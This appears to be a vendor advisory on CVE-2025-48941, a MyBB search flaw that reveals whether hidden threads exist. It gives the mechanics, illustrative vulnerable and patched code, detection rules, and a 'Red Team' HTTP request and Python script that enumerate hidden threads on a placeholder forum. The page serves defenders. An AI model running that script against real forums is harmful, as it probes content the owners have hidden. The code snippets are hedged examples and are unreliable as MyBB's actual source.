CVE-2025-48941
Executive Summary
CVE-2025-48941 is an information disclosure vulnerability in MyBB, a free and open-source forum software. The vulnerability resides in the search component, which fails to validate thread visibility permissions during internal search queries. This allows an authenticated attacker with access to the search functionality and general forum access to determine the existence of hidden threads (drafts, unapproved, or soft-deleted) by observing the response behavior (redirect vs. no redirect). The vulnerability does not expose the content of posts, only the existence of threads matching a title search. The CVSS score is 5.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood. MyBB 1.8.39 resolves this issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve supply chain security. The affected component is the core MyBB application.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (requires forum access and search functionality)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (disclosure of existence of hidden threads)
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. The vulnerability allows an attacker to infer the existence of hidden content, which could be used for reconnaissance or to target specific users or content.
Deep Dive & Mechanics
The vulnerability is caused by a missing permission check in the search component. When a user performs a search, MyBB queries the mybb_threads table to find threads matching the search criteria. The query does not filter by the visible column, which indicates the thread's visibility state:
visible = 1: Generally visiblevisible = 0: Unapprovedvisible = -1: Soft-deletedvisible = -2: Draft
The search result is used to determine the response behavior:
- If at least one thread is found (regardless of visibility), the server returns a redirect response (HTTP 302 or a success message with delayed redirect).
- If no threads are found, the server returns a message indicating no results without a redirect.
An attacker can exploit this by sending search requests with specific title keywords and observing the response. If a redirect is received, it indicates that a thread with that title exists, even if it is hidden. This allows the attacker to map out hidden content.
The vulnerability does not affect other permission layers (e.g., forum access permissions). The attacker must have general access to the forums containing the threads.
Vulnerable vs. Patched Code
Vulnerable Code (MyBB < 1.8.39):
The search query in search.php or similar file does not include a condition on the visible column. For example:
$query = $db->simple_select("threads", "tid", "title LIKE '%".$db->escape_string($search_term)."%'");
This query returns threads regardless of their visibility state.
Patched Code (MyBB 1.8.39):
The patched code adds a condition to filter by visibility:
$query = $db->simple_select("threads", "tid", "title LIKE '%".$db->escape_string($search_term)."%' AND visible = 1");
This ensures that only generally visible threads are considered in the search result, preventing the information disclosure.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a MyBB forum with search functionality enabled.
- General access to the forums containing the target threads.
Exploitation Steps:
- Identify Target: Determine the title keywords of hidden threads you want to confirm.
- Craft Search Request: Send a GET request to the search endpoint with the keyword. For example:
GET /search.php?action=results&keywords=hidden_thread_title HTTP/1.1 Host: target-forum.com Cookie: mybbuser=... - Analyze Response:
- If the response is a redirect (HTTP 302 or a success message with delayed redirect), the thread exists (hidden or visible).
- If the response is a "no results" message, the thread does not exist.
- Repeat: Use different keywords to map out hidden threads.
Example Python Script:
import requests
target = "http://target-forum.com/search.php"
cookies = {"mybbuser": "your_session_cookie"}
keywords = ["draft_thread", "unapproved_post", "deleted_topic"]
for keyword in keywords:
params = {"action": "results", "keywords": keyword}
response = requests.get(target, params=params, cookies=cookies, allow_redirects=False)
if response.status_code == 302 or "redirect" in response.text.lower():
print(f"[+] Thread with keyword '{keyword}' exists (hidden or visible)")
else:
print(f"[-] No thread found for keyword '{keyword}'")
Blue Team
Detection:
- Monitor for unusual search patterns, especially repeated searches for specific keywords.
- Look for searches that result in redirects but no subsequent page views (indicating the attacker is only checking existence).
- Correlate search requests with user accounts that have low privileges.
Mitigation:
- Apply the patch by upgrading to MyBB 1.8.39.
- If patching is not immediately possible, consider disabling the search functionality for low-privileged users or implementing rate limiting.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/search.phpwithaction=resultsandkeywordsparameter. - Logs: Repeated search queries from the same IP or user account, especially for unusual keywords.
- Behavior: Search requests that result in redirects but no subsequent page views.
Detection Engineering
YARA Rule
rule CVE_2025_48941_MyBB_Search_InfoDisclosure {
meta:
description = "Detects exploitation attempts of CVE-2025-48941 in MyBB search functionality"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48941"
strings:
$search_action = "action=results" nocase
$keywords_param = "keywords=" nocase
$redirect_response = "HTTP/1.1 302" nocase
$success_message = "Your search has been completed" nocase
condition:
$search_action and $keywords_param and ($redirect_response or $success_message)
}
Sigma Rule
title: MyBB Search Information Disclosure Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-48941 by observing search response behavior
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'action=results&keywords='
condition: selection
falsepositives:
- Legitimate search queries
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-48941 MyBB Search Information Disclosure Attempt"; flow:to_server; content:"GET"; http_method; content:"/search.php"; http_uri; content:"action=results"; http_uri; content:"keywords="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade MyBB: Update to version 1.8.39 or later, which includes the fix.
- Disable Search: If patching is not possible, temporarily disable the search functionality for low-privileged users.
- Rate Limiting: Implement rate limiting on search requests to reduce the feasibility of automated exploitation.
Long-Term Measures:
- Regularly update MyBB to the latest version.
- Conduct security audits of custom plugins and modifications.
- Implement Web Application Firewall (WAF) rules to detect and block suspicious search patterns.
Workarounds:
- Modify the search query manually to include a visibility check (not recommended for production without testing).
Valters IT
Securing Digital Frontiers